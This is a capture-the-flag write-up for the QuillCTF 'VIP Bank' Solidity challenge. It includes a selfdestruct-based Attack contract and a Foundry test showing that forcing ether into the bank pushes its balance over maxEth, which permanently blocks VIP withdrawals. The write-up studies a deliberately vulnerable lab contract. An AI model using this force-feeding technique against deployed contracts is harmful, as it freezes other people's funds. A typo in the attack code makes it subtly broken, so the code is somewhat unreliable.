VIP BANK CHALLENGE

Vulnerability Description:

-->In the **VIP_Bank** contract, manager will add the VIPs to deposit funds of size 0.05 ether per transaction. Only VIPs can withdraw the funds, while withdrawing funds back the first require statement checks for total balance in the contract must be less than or equal to maxEth(i.e. address(this). balance <= maxEth) mentioned by the manager. So, by using **seftdestruct** or **Coinbase transaction.**

Someone can stop withdraw function to halt.

Attack Steps:

1. Deploy Attack contract with more than 0.05 ether
2. Attack Contract ---> attack (address challenge)

Proof of Concept (POC):

challenge2Attack.sol:

```
// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.7;

/**

 * @title Attacking the VIP_Bank contract

 * @author Purple_Calender

 * @dev used selfdestruct() function to add more than 0.05 ether in VIP_Bank

 * @dev to not withdraw funds back by VIPs.

 */

contract Attack {

    constructor() payable {}

    function attack(address _challengeAddr) public {

        selfdestruct(payable(_ challengeAddr));

    }

    function getBalance() public view returns (uint bal) {

        bal = address(this).balance;

    }

}
```

Challenge2Attack.t.sol:

```
//SPDX-License-Identifier:UNLICENSED
pragma solidity 0.8.7;
///@title Attack contract
///@author pulamarasetti naveen
///@custom:experimental this is experimental contract

import "src/quillCTF/challenge2.sol";
import "src/quillCTF/challenge2Attack.sol";
import "forge-std/Test.sol";
import "forge-std/Vm.sol";
contract TestingAttack is Test {
    VIP_Bank challenge;
    Attack attack;
    address addr1;
    address addr2;
    address addr3;
    ///@dev setup
    ///@dev Attack contract is the manager of VIP_Bank contract
    constructor() {
        challenge = new VIP_Bank();
        ///some random address to add as VIPs
        addr1 = vm.addr(1);
        addr2 = vm.addr(2);
        addr3 = vm.addr(3);
        ///funding the address with some ether
```

```
        vm.deal(addr1, 2 ether);
        vm.deal(addr2, 2 ether);
        vm.deal(addr3, 2 ether);
        ///adding VIP
        challenge.addVIP(addr1);
        challenge.addVIP(addr2);
        challenge.addVIP(addr3);
        ///deposit
        vm.prank(addr1);
        challenge.deposit{value: 50000000000000000 wei}();
        vm.prank(addr2);
        challenge.deposit{value: 30000000000000000 wei}();
        ///Attack contract
        vm.deal(address(this), 5 ether);
        attack = new Attack{value: 3 ether}();
    }

    function test_Withdraw_VIP() public {
        vm.prank(addr3);
        attack.attack(address(challenge));
        vm.prank(addr1);
        challenge.withdraw(100 wei);
    }
}
```

NOTE:

- Used foundary
- To test use **forge test -vvvv**